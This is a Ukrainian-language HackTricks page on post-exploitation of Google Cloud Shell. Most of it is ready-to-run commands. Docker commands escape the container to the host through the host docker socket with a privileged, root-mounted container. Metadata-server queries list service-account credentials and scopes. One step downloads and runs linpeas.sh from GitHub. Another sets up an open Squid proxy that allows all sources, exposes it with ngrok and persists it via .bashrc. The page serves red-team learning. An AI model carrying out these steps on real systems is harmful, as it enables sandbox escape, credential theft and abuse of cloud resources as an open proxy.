GCP - Cloud Shell Post Exploitation

Reading time: 4 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Cloud Shell

Для отримання додаткової інформації про Cloud Shell перегляньте:

GCP - Cloud Shell Enum

Container Escape

Зверніть увагу, що Google Cloud Shell працює всередині контейнера, ви можете легко втекти на хост виконавши:

bash
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh

Це не вважається вразливістю з боку Google, але це дає вам ширше уявлення про те, що відбувається в цьому середовищі.

Більше того, зверніть увагу, що з хоста ви можете знайти токен облікового запису служби:

bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/

З наступними обсягами:

bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write

Перелічте метадані за допомогою LinPEAS:

bash
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud

Після використання https://github.com/carlospolop/bf_my_gcp_permissions з токеном облікового запису служби дозволів не виявлено...

Використовуйте його як проксі

Якщо ви хочете використовувати свій екземпляр google cloud shell як проксі, вам потрібно виконати наступні команди (або вставити їх у файл .bashrc):

bash
sudo apt install -y squid

Просто щоб ви знали, Squid - це HTTP проксі-сервер. Створіть файл squid.conf з наступними налаштуваннями:

bash
http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all

скопіюйте файл squid.conf до /etc/squid

bash
sudo cp squid.conf /etc/squid

Нарешті запустіть службу squid:

bash
sudo service squid start

Використовуйте ngrok, щоб зробити проксі доступним ззовні:

bash
./ngrok tcp 3128

Після запуску скопіюйте tcp:// URL. Якщо ви хочете запустити проксі з браузера, рекомендується видалити частину tcp:// та порт, а порт помістити в поле порту налаштувань проксі вашого браузера (squid - це http проксі-сервер).

Для кращого використання при запуску файл .bashrc повинен містити такі рядки:

bash
sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128

Інструкції були скопійовані з https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key. Перевірте цю сторінку на інші божевільні ідеї для запуску будь-якого програмного забезпечення (бази даних і навіть Windows) у Cloud Shell.

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks